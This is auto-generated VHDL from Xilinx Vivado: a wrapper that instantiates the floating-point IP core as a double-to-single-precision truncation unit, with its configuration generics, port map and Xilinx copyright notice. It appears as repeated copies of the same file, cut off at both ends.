C_HAS_ACCUMULATOR_A : INTEGER;
C_HAS_ACCUMULATOR_S : INTEGER;
C_A_WIDTH : INTEGER;
C_A_FRACTION_WIDTH : INTEGER;
C_B_WIDTH : INTEGER;
C_B_FRACTION_WIDTH : INTEGER;
C_C_WIDTH : INTEGER;
C_C_FRACTION_WIDTH : INTEGER;
C_RESULT_WIDTH : INTEGER;
C_RESULT_FRACTION_WIDTH : INTEGER;
C_COMPARE_OPERATION : INTEGER;
C_LATENCY : INTEGER;
C_OPTIMIZATION : INTEGER;
C_MULT_USAGE : INTEGER;
C_BRAM_USAGE : INTEGER;
C_RATE : INTEGER;
C_ACCUM_INPUT_MSB : INTEGER;
C_ACCUM_MSB : INTEGER;
C_ACCUM_LSB : INTEGER;
C_HAS_UNDERFLOW : INTEGER;
C_HAS_OVERFLOW : INTEGER;
C_HAS_INVALID_OP : INTEGER;
C_HAS_DIVIDE_BY_ZERO : INTEGER;
C_HAS_ACCUM_OVERFLOW : INTEGER;
C_HAS_ACCUM_INPUT_OVERFLOW : INTEGER;
C_HAS_ACLKEN : INTEGER;
C_HAS_ARESETN : INTEGER;
C_THROTTLE_SCHEME : INTEGER;
C_HAS_A_TUSER : INTEGER;
C_HAS_A_TLAST : INTEGER;
C_HAS_B : INTEGER;
C_HAS_B_TUSER : INTEGER;
C_HAS_B_TLAST : INTEGER;
C_HAS_C : INTEGER;
C_HAS_C_TUSER : INTEGER;
C_HAS_C_TLAST : INTEGER;
C_HAS_OPERATION : INTEGER;
C_HAS_OPERATION_TUSER : INTEGER;
C_HAS_OPERATION_TLAST : INTEGER;
C_HAS_RESULT_TUSER : INTEGER;
C_HAS_RESULT_TLAST : INTEGER;
C_TLAST_RESOLUTION : INTEGER;
C_A_TDATA_WIDTH : INTEGER;
C_A_TUSER_WIDTH : INTEGER;
C_B_TDATA_WIDTH : INTEGER;
C_B_TUSER_WIDTH : INTEGER;
C_C_TDATA_WIDTH : INTEGER;
C_C_TUSER_WIDTH : INTEGER;
C_OPERATION_TDATA_WIDTH : INTEGER;
C_OPERATION_TUSER_WIDTH : INTEGER;
C_RESULT_TDATA_WIDTH : INTEGER;
C_RESULT_TUSER_WIDTH : INTEGER;
C_FIXED_DATA_UNSIGNED : INTEGER
);
PORT (
aclk : IN STD_LOGIC;
aclken : IN STD_LOGIC;
aresetn : IN STD_LOGIC;
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tready : OUT STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_a_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_a_tlast : IN STD_LOGIC;
s_axis_b_tvalid : IN STD_LOGIC;
s_axis_b_tready : OUT STD_LOGIC;
s_axis_b_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_b_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_b_tlast : IN STD_LOGIC;
s_axis_c_tvalid : IN STD_LOGIC;
s_axis_c_tready : OUT STD_LOGIC;
s_axis_c_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_c_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_c_tlast : IN STD_LOGIC;
s_axis_operation_tvalid : IN STD_LOGIC;
s_axis_operation_tready : OUT STD_LOGIC;
s_axis_operation_tdata : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
s_axis_operation_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_operation_tlast : IN STD_LOGIC;
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tready : IN STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0);
m_axis_result_tuser : OUT STD_LOGIC_VECTOR(0 DOWNTO 0);
m_axis_result_tlast : OUT STD_LOGIC
);
END COMPONENT floating_point_v7_1_1;
ATTRIBUTE X_CORE_INFO : STRING;
ATTRIBUTE X_CORE_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "floating_point_v7_1_1,Vivado 2015.4.2";
ATTRIBUTE CHECK_LICENSE_TYPE : STRING;
ATTRIBUTE CHECK_LICENSE_TYPE OF feedforward_ap_fptrunc_0_no_dsp_64_arch : ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{}";
ATTRIBUTE CORE_GENERATION_INFO : STRING;
ATTRIBUTE CORE_GENERATION_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{x_ipProduct=Vivado 2015.4.2,x_ipVendor=xilinx.com,x_ipLibrary=ip,x_ipName=floating_point,x_ipVersion=7.1,x_ipCoreRevision=1,x_ipLanguage=VHDL,x_ipSimLanguage=MIXED,C_XDEVICEFAMILY=virtex7,C_HAS_ADD=0,C_HAS_SUBTRACT=0,C_HAS_MULTIPLY=0,C_HAS_DIVIDE=0,C_HAS_SQRT=0,C_HAS_COMPARE=0,C_HAS_FIX_TO_FLT=0,C_HAS_FLT_TO_FIX=0,C_HAS_FLT_TO_FLT=1,C_HAS_RECIP=0,C_HAS_RECIP_SQRT=0,C_HAS_ABSOLUTE=0,C_HAS_LOGARITHM=0,C_HAS_EXPONENTIAL=0,C_HAS_FMA=0,C_HAS_FMS=0,C_HAS_ACCUMULATOR_A=0,C_HAS_ACCUMULATOR_S=0,C_A_WIDTH=64,C_A_FRACTION_WIDTH=53,C_B_WIDTH=64,C_B_FRACTION_WIDTH=53,C_C_WIDTH=64,C_C_FRACTION_WIDTH=53,C_RESULT_WIDTH=32,C_RESULT_FRACTION_WIDTH=24,C_COMPARE_OPERATION=8,C_LATENCY=0,C_OPTIMIZATION=1,C_MULT_USAGE=0,C_BRAM_USAGE=0,C_RATE=1,C_ACCUM_INPUT_MSB=32,C_ACCUM_MSB=32,C_ACCUM_LSB=-31,C_HAS_UNDERFLOW=0,C_HAS_OVERFLOW=0,C_HAS_INVALID_OP=0,C_HAS_DIVIDE_BY_ZERO=0,C_HAS_ACCUM_OVERFLOW=0,C_HAS_ACCUM_INPUT_OVERFLOW=0,C_HAS_ACLKEN=0,C_HAS_ARESETN=0,C_THROTTLE_SCHEME=3,C_HAS_A_TUSER=0,C_HAS_A_TLAST=0,C_HAS_B=0,C_HAS_B_TUSER=0,C_HAS_B_TLAST=0,C_HAS_C=0,C_HAS_C_TUSER=0,C_HAS_C_TLAST=0,C_HAS_OPERATION=0,C_HAS_OPERATION_TUSER=0,C_HAS_OPERATION_TLAST=0,C_HAS_RESULT_TUSER=0,C_HAS_RESULT_TLAST=0,C_TLAST_RESOLUTION=0,C_A_TDATA_WIDTH=64,C_A_TUSER_WIDTH=1,C_B_TDATA_WIDTH=64,C_B_TUSER_WIDTH=1,C_C_TDATA_WIDTH=64,C_C_TUSER_WIDTH=1,C_OPERATION_TDATA_WIDTH=8,C_OPERATION_TUSER_WIDTH=1,C_RESULT_TDATA_WIDTH=32,C_RESULT_TUSER_WIDTH=1,C_FIXED_DATA_UNSIGNED=0}";
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TVALID";
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TDATA";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TVALID";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TDATA";
BEGIN
U0 : floating_point_v7_1_1
GENERIC MAP (
C_XDEVICEFAMILY => "virtex7",
C_HAS_ADD => 0,
C_HAS_SUBTRACT => 0,
C_HAS_MULTIPLY => 0,
C_HAS_DIVIDE => 0,
C_HAS_SQRT => 0,
C_HAS_COMPARE => 0,
C_HAS_FIX_TO_FLT => 0,
C_HAS_FLT_TO_FIX => 0,
C_HAS_FLT_TO_FLT => 1,
C_HAS_RECIP => 0,
C_HAS_RECIP_SQRT => 0,
C_HAS_ABSOLUTE => 0,
C_HAS_LOGARITHM => 0,
C_HAS_EXPONENTIAL => 0,
C_HAS_FMA => 0,
C_HAS_FMS => 0,
C_HAS_ACCUMULATOR_A => 0,
C_HAS_ACCUMULATOR_S => 0,
C_A_WIDTH => 64,
C_A_FRACTION_WIDTH => 53,
C_B_WIDTH => 64,
C_B_FRACTION_WIDTH => 53,
C_C_WIDTH => 64,
C_C_FRACTION_WIDTH => 53,
C_RESULT_WIDTH => 32,
C_RESULT_FRACTION_WIDTH => 24,
C_COMPARE_OPERATION => 8,
C_LATENCY => 0,
C_OPTIMIZATION => 1,
C_MULT_USAGE => 0,
C_BRAM_USAGE => 0,
C_RATE => 1,
C_ACCUM_INPUT_MSB => 32,
C_ACCUM_MSB => 32,
C_ACCUM_LSB => -31,
C_HAS_UNDERFLOW => 0,
C_HAS_OVERFLOW => 0,
C_HAS_INVALID_OP => 0,
C_HAS_DIVIDE_BY_ZERO => 0,
C_HAS_ACCUM_OVERFLOW => 0,
C_HAS_ACCUM_INPUT_OVERFLOW => 0,
C_HAS_ACLKEN => 0,
C_HAS_ARESETN => 0,
C_THROTTLE_SCHEME => 3,
C_HAS_A_TUSER => 0,
C_HAS_A_TLAST => 0,
C_HAS_B => 0,
C_HAS_B_TUSER => 0,
C_HAS_B_TLAST => 0,
C_HAS_C => 0,
C_HAS_C_TUSER => 0,
C_HAS_C_TLAST => 0,
C_HAS_OPERATION => 0,
C_HAS_OPERATION_TUSER => 0,
C_HAS_OPERATION_TLAST => 0,
C_HAS_RESULT_TUSER => 0,
C_HAS_RESULT_TLAST => 0,
C_TLAST_RESOLUTION => 0,
C_A_TDATA_WIDTH => 64,
C_A_TUSER_WIDTH => 1,
C_B_TDATA_WIDTH => 64,
C_B_TUSER_WIDTH => 1,
C_C_TDATA_WIDTH => 64,
C_C_TUSER_WIDTH => 1,
C_OPERATION_TDATA_WIDTH => 8,
C_OPERATION_TUSER_WIDTH => 1,
C_RESULT_TDATA_WIDTH => 32,
C_RESULT_TUSER_WIDTH => 1,
C_FIXED_DATA_UNSIGNED => 0
)
PORT MAP (
aclk => '0',
aclken => '1',
aresetn => '1',
s_axis_a_tvalid => s_axis_a_tvalid,
s_axis_a_tdata => s_axis_a_tdata,
s_axis_a_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_a_tlast => '0',
s_axis_b_tvalid => '0',
s_axis_b_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_b_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_b_tlast => '0',
s_axis_c_tvalid => '0',
s_axis_c_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_c_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_c_tlast => '0',
s_axis_operation_tvalid => '0',
s_axis_operation_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 8)),
s_axis_operation_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_operation_tlast => '0',
m_axis_result_tvalid => m_axis_result_tvalid,
m_axis_result_tready => '0',
m_axis_result_tdata => m_axis_result_tdata
);
END feedforward_ap_fptrunc_0_no_dsp_64_arch;
|
-- (c) Copyright 1995-2016 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:ip:floating_point:7.1
-- IP Revision: 1
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
LIBRARY floating_point_v7_1_1;
USE floating_point_v7_1_1.floating_point_v7_1_1;
ENTITY feedforward_ap_fptrunc_0_no_dsp_64 IS
PORT (
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0)
);
END feedforward_ap_fptrunc_0_no_dsp_64;
ARCHITECTURE feedforward_ap_fptrunc_0_no_dsp_64_arch OF feedforward_ap_fptrunc_0_no_dsp_64 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : string;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "yes";
COMPONENT floating_point_v7_1_1 IS
GENERIC (
C_XDEVICEFAMILY : STRING;
C_HAS_ADD : INTEGER;
C_HAS_SUBTRACT : INTEGER;
C_HAS_MULTIPLY : INTEGER;
C_HAS_DIVIDE : INTEGER;
C_HAS_SQRT : INTEGER;
C_HAS_COMPARE : INTEGER;
C_HAS_FIX_TO_FLT : INTEGER;
C_HAS_FLT_TO_FIX : INTEGER;
C_HAS_FLT_TO_FLT : INTEGER;
C_HAS_RECIP : INTEGER;
C_HAS_RECIP_SQRT : INTEGER;
C_HAS_ABSOLUTE : INTEGER;
C_HAS_LOGARITHM : INTEGER;
C_HAS_EXPONENTIAL : INTEGER;
C_HAS_FMA : INTEGER;
C_HAS_FMS : INTEGER;
C_HAS_ACCUMULATOR_A : INTEGER;
C_HAS_ACCUMULATOR_S : INTEGER;
C_A_WIDTH : INTEGER;
C_A_FRACTION_WIDTH : INTEGER;
C_B_WIDTH : INTEGER;
C_B_FRACTION_WIDTH : INTEGER;
C_C_WIDTH : INTEGER;
C_C_FRACTION_WIDTH : INTEGER;
C_RESULT_WIDTH : INTEGER;
C_RESULT_FRACTION_WIDTH : INTEGER;
C_COMPARE_OPERATION : INTEGER;
C_LATENCY : INTEGER;
C_OPTIMIZATION : INTEGER;
C_MULT_USAGE : INTEGER;
C_BRAM_USAGE : INTEGER;
C_RATE : INTEGER;
C_ACCUM_INPUT_MSB : INTEGER;
C_ACCUM_MSB : INTEGER;
C_ACCUM_LSB : INTEGER;
C_HAS_UNDERFLOW : INTEGER;
C_HAS_OVERFLOW : INTEGER;
C_HAS_INVALID_OP : INTEGER;
C_HAS_DIVIDE_BY_ZERO : INTEGER;
C_HAS_ACCUM_OVERFLOW : INTEGER;
C_HAS_ACCUM_INPUT_OVERFLOW : INTEGER;
C_HAS_ACLKEN : INTEGER;
C_HAS_ARESETN : INTEGER;
C_THROTTLE_SCHEME : INTEGER;
C_HAS_A_TUSER : INTEGER;
C_HAS_A_TLAST : INTEGER;
C_HAS_B : INTEGER;
C_HAS_B_TUSER : INTEGER;
C_HAS_B_TLAST : INTEGER;
C_HAS_C : INTEGER;
C_HAS_C_TUSER : INTEGER;
C_HAS_C_TLAST : INTEGER;
C_HAS_OPERATION : INTEGER;
C_HAS_OPERATION_TUSER : INTEGER;
C_HAS_OPERATION_TLAST : INTEGER;
C_HAS_RESULT_TUSER : INTEGER;
C_HAS_RESULT_TLAST : INTEGER;
C_TLAST_RESOLUTION : INTEGER;
C_A_TDATA_WIDTH : INTEGER;
C_A_TUSER_WIDTH : INTEGER;
C_B_TDATA_WIDTH : INTEGER;
C_B_TUSER_WIDTH : INTEGER;
C_C_TDATA_WIDTH : INTEGER;
C_C_TUSER_WIDTH : INTEGER;
C_OPERATION_TDATA_WIDTH : INTEGER;
C_OPERATION_TUSER_WIDTH : INTEGER;
C_RESULT_TDATA_WIDTH : INTEGER;
C_RESULT_TUSER_WIDTH : INTEGER;
C_FIXED_DATA_UNSIGNED : INTEGER
);
PORT (
aclk : IN STD_LOGIC;
aclken : IN STD_LOGIC;
aresetn : IN STD_LOGIC;
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tready : OUT STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_a_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_a_tlast : IN STD_LOGIC;
s_axis_b_tvalid : IN STD_LOGIC;
s_axis_b_tready : OUT STD_LOGIC;
s_axis_b_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_b_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_b_tlast : IN STD_LOGIC;
s_axis_c_tvalid : IN STD_LOGIC;
s_axis_c_tready : OUT STD_LOGIC;
s_axis_c_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
s_axis_c_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_c_tlast : IN STD_LOGIC;
s_axis_operation_tvalid : IN STD_LOGIC;
s_axis_operation_tready : OUT STD_LOGIC;
s_axis_operation_tdata : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
s_axis_operation_tuser : IN STD_LOGIC_VECTOR(0 DOWNTO 0);
s_axis_operation_tlast : IN STD_LOGIC;
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tready : IN STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0);
m_axis_result_tuser : OUT STD_LOGIC_VECTOR(0 DOWNTO 0);
m_axis_result_tlast : OUT STD_LOGIC
);
END COMPONENT floating_point_v7_1_1;
ATTRIBUTE X_CORE_INFO : STRING;
ATTRIBUTE X_CORE_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "floating_point_v7_1_1,Vivado 2015.4.2";
ATTRIBUTE CHECK_LICENSE_TYPE : STRING;
ATTRIBUTE CHECK_LICENSE_TYPE OF feedforward_ap_fptrunc_0_no_dsp_64_arch : ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{}";
ATTRIBUTE CORE_GENERATION_INFO : STRING;
ATTRIBUTE CORE_GENERATION_INFO OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "feedforward_ap_fptrunc_0_no_dsp_64,floating_point_v7_1_1,{x_ipProduct=Vivado 2015.4.2,x_ipVendor=xilinx.com,x_ipLibrary=ip,x_ipName=floating_point,x_ipVersion=7.1,x_ipCoreRevision=1,x_ipLanguage=VHDL,x_ipSimLanguage=MIXED,C_XDEVICEFAMILY=virtex7,C_HAS_ADD=0,C_HAS_SUBTRACT=0,C_HAS_MULTIPLY=0,C_HAS_DIVIDE=0,C_HAS_SQRT=0,C_HAS_COMPARE=0,C_HAS_FIX_TO_FLT=0,C_HAS_FLT_TO_FIX=0,C_HAS_FLT_TO_FLT=1,C_HAS_RECIP=0,C_HAS_RECIP_SQRT=0,C_HAS_ABSOLUTE=0,C_HAS_LOGARITHM=0,C_HAS_EXPONENTIAL=0,C_HAS_FMA=0,C_HAS_FMS=0,C_HAS_ACCUMULATOR_A=0,C_HAS_ACCUMULATOR_S=0,C_A_WIDTH=64,C_A_FRACTION_WIDTH=53,C_B_WIDTH=64,C_B_FRACTION_WIDTH=53,C_C_WIDTH=64,C_C_FRACTION_WIDTH=53,C_RESULT_WIDTH=32,C_RESULT_FRACTION_WIDTH=24,C_COMPARE_OPERATION=8,C_LATENCY=0,C_OPTIMIZATION=1,C_MULT_USAGE=0,C_BRAM_USAGE=0,C_RATE=1,C_ACCUM_INPUT_MSB=32,C_ACCUM_MSB=32,C_ACCUM_LSB=-31,C_HAS_UNDERFLOW=0,C_HAS_OVERFLOW=0,C_HAS_INVALID_OP=0,C_HAS_DIVIDE_BY_ZERO=0,C_HAS_ACCUM_OVERFLOW=0,C_HAS_ACCUM_INPUT_OVERFLOW=0,C_HAS_ACLKEN=0,C_HAS_ARESETN=0,C_THROTTLE_SCHEME=3,C_HAS_A_TUSER=0,C_HAS_A_TLAST=0,C_HAS_B=0,C_HAS_B_TUSER=0,C_HAS_B_TLAST=0,C_HAS_C=0,C_HAS_C_TUSER=0,C_HAS_C_TLAST=0,C_HAS_OPERATION=0,C_HAS_OPERATION_TUSER=0,C_HAS_OPERATION_TLAST=0,C_HAS_RESULT_TUSER=0,C_HAS_RESULT_TLAST=0,C_TLAST_RESOLUTION=0,C_A_TDATA_WIDTH=64,C_A_TUSER_WIDTH=1,C_B_TDATA_WIDTH=64,C_B_TUSER_WIDTH=1,C_C_TDATA_WIDTH=64,C_C_TUSER_WIDTH=1,C_OPERATION_TDATA_WIDTH=8,C_OPERATION_TUSER_WIDTH=1,C_RESULT_TDATA_WIDTH=32,C_RESULT_TUSER_WIDTH=1,C_FIXED_DATA_UNSIGNED=0}";
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TVALID";
ATTRIBUTE X_INTERFACE_INFO OF s_axis_a_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 S_AXIS_A TDATA";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tvalid: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TVALID";
ATTRIBUTE X_INTERFACE_INFO OF m_axis_result_tdata: SIGNAL IS "xilinx.com:interface:axis:1.0 M_AXIS_RESULT TDATA";
BEGIN
U0 : floating_point_v7_1_1
GENERIC MAP (
C_XDEVICEFAMILY => "virtex7",
C_HAS_ADD => 0,
C_HAS_SUBTRACT => 0,
C_HAS_MULTIPLY => 0,
C_HAS_DIVIDE => 0,
C_HAS_SQRT => 0,
C_HAS_COMPARE => 0,
C_HAS_FIX_TO_FLT => 0,
C_HAS_FLT_TO_FIX => 0,
C_HAS_FLT_TO_FLT => 1,
C_HAS_RECIP => 0,
C_HAS_RECIP_SQRT => 0,
C_HAS_ABSOLUTE => 0,
C_HAS_LOGARITHM => 0,
C_HAS_EXPONENTIAL => 0,
C_HAS_FMA => 0,
C_HAS_FMS => 0,
C_HAS_ACCUMULATOR_A => 0,
C_HAS_ACCUMULATOR_S => 0,
C_A_WIDTH => 64,
C_A_FRACTION_WIDTH => 53,
C_B_WIDTH => 64,
C_B_FRACTION_WIDTH => 53,
C_C_WIDTH => 64,
C_C_FRACTION_WIDTH => 53,
C_RESULT_WIDTH => 32,
C_RESULT_FRACTION_WIDTH => 24,
C_COMPARE_OPERATION => 8,
C_LATENCY => 0,
C_OPTIMIZATION => 1,
C_MULT_USAGE => 0,
C_BRAM_USAGE => 0,
C_RATE => 1,
C_ACCUM_INPUT_MSB => 32,
C_ACCUM_MSB => 32,
C_ACCUM_LSB => -31,
C_HAS_UNDERFLOW => 0,
C_HAS_OVERFLOW => 0,
C_HAS_INVALID_OP => 0,
C_HAS_DIVIDE_BY_ZERO => 0,
C_HAS_ACCUM_OVERFLOW => 0,
C_HAS_ACCUM_INPUT_OVERFLOW => 0,
C_HAS_ACLKEN => 0,
C_HAS_ARESETN => 0,
C_THROTTLE_SCHEME => 3,
C_HAS_A_TUSER => 0,
C_HAS_A_TLAST => 0,
C_HAS_B => 0,
C_HAS_B_TUSER => 0,
C_HAS_B_TLAST => 0,
C_HAS_C => 0,
C_HAS_C_TUSER => 0,
C_HAS_C_TLAST => 0,
C_HAS_OPERATION => 0,
C_HAS_OPERATION_TUSER => 0,
C_HAS_OPERATION_TLAST => 0,
C_HAS_RESULT_TUSER => 0,
C_HAS_RESULT_TLAST => 0,
C_TLAST_RESOLUTION => 0,
C_A_TDATA_WIDTH => 64,
C_A_TUSER_WIDTH => 1,
C_B_TDATA_WIDTH => 64,
C_B_TUSER_WIDTH => 1,
C_C_TDATA_WIDTH => 64,
C_C_TUSER_WIDTH => 1,
C_OPERATION_TDATA_WIDTH => 8,
C_OPERATION_TUSER_WIDTH => 1,
C_RESULT_TDATA_WIDTH => 32,
C_RESULT_TUSER_WIDTH => 1,
C_FIXED_DATA_UNSIGNED => 0
)
PORT MAP (
aclk => '0',
aclken => '1',
aresetn => '1',
s_axis_a_tvalid => s_axis_a_tvalid,
s_axis_a_tdata => s_axis_a_tdata,
s_axis_a_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_a_tlast => '0',
s_axis_b_tvalid => '0',
s_axis_b_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_b_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_b_tlast => '0',
s_axis_c_tvalid => '0',
s_axis_c_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 64)),
s_axis_c_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_c_tlast => '0',
s_axis_operation_tvalid => '0',
s_axis_operation_tdata => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 8)),
s_axis_operation_tuser => STD_LOGIC_VECTOR(TO_UNSIGNED(0, 1)),
s_axis_operation_tlast => '0',
m_axis_result_tvalid => m_axis_result_tvalid,
m_axis_result_tready => '0',
m_axis_result_tdata => m_axis_result_tdata
);
END feedforward_ap_fptrunc_0_no_dsp_64_arch;
|
-- (c) Copyright 1995-2016 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:ip:floating_point:7.1
-- IP Revision: 1
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
LIBRARY floating_point_v7_1_1;
USE floating_point_v7_1_1.floating_point_v7_1_1;
ENTITY feedforward_ap_fptrunc_0_no_dsp_64 IS
PORT (
s_axis_a_tvalid : IN STD_LOGIC;
s_axis_a_tdata : IN STD_LOGIC_VECTOR(63 DOWNTO 0);
m_axis_result_tvalid : OUT STD_LOGIC;
m_axis_result_tdata : OUT STD_LOGIC_VECTOR(31 DOWNTO 0)
);
END feedforward_ap_fptrunc_0_no_dsp_64;
ARCHITECTURE feedforward_ap_fptrunc_0_no_dsp_64_arch OF feedforward_ap_fptrunc_0_no_dsp_64 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : string;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF feedforward_ap_fptrunc_0_no_dsp_64_arch: ARCHITECTURE IS "yes";
COMPONENT floating_point_v7_1_1 IS
GENERIC (
C_XDEVICEFAMILY : STRING;
C_HAS_ADD : INTEGER;
C_HAS_SUBTRACT : INTEGER;
